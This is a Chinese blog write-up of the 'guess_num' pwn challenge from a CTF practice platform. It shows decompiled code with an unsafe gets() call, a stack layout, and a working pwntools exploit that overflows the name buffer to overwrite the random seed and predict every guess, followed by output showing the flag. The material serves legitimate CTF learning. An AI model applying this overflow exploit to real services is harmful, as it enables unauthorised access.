# 攻防世界 guess_num

原创

Nathan-Yang 于 2020-09-27 18:55:25 发布 711 收藏 3
分类专栏： pwn




## 1.题目


## 2.Ida反汇编

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  const char *v4; // rdi
  int v6; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v8; // [rsp+Ch] [rbp-34h]
  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v6 = 0;
  v8 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("---------------------------------");
  puts("Welcome to a guess number game!");
  puts("---------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v9);
  v4 = (const char *)seed[0];
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v8 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v6);
    puts("---------------------------------");
    if ( v6 != v8 )
    {
      puts("GG!");
      exit(1);
    }
    v4 = "Success!";
    puts("Success!");
  }
  sub_C3E(v4);
  return 0LL;
}
```



```
__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}
```

## 3.根据上图代码，分析基本流程。

流程：随机种子生成随机数，对比随机数和输入的数字，连续正确10次就成功。

初看好像不可能成功，怎么可能猜对随机数十次？其实srand生成的随机数是伪随机数。其实就是一个很长的数字字符串，然后根据种子定位到这个字符串某个点，然后每次生成随机数就读一个数字字符。也就是说，如果我们的种子是一样的，相同的随机次序我们得到的随机数是一样的。

于是，现在的问题变成了我们怎么得到程序的种子？或者我们是否可以修改程序的种子？

查看c源码，发现有gets把输入的字符串保存到本地变量v9，查看v9，发现：v9和seed之间差距30-10+1=21个单元。于是，我们就可以想到通过栈溢出的方法把v9的值覆盖seed。给出exp。

```
-0000000000000030 var_30          db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010 seed            dd 2 dup(?)
```



```python
from pwn import *
from ctypes import *

io = remote('220.249.52.133', 54835)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    io.recvuntil('number:')
    io.sendline(num)
io.interactive()
```

```
yangns@ubuntu:~/CPlusWorkplace$ python3 1.py
[+] Opening connection to 220.249.52.133 on port 54835: Done
[*] Switching to interactive mode
--------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace[redacted]
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 220.249.52.133 port 54835
```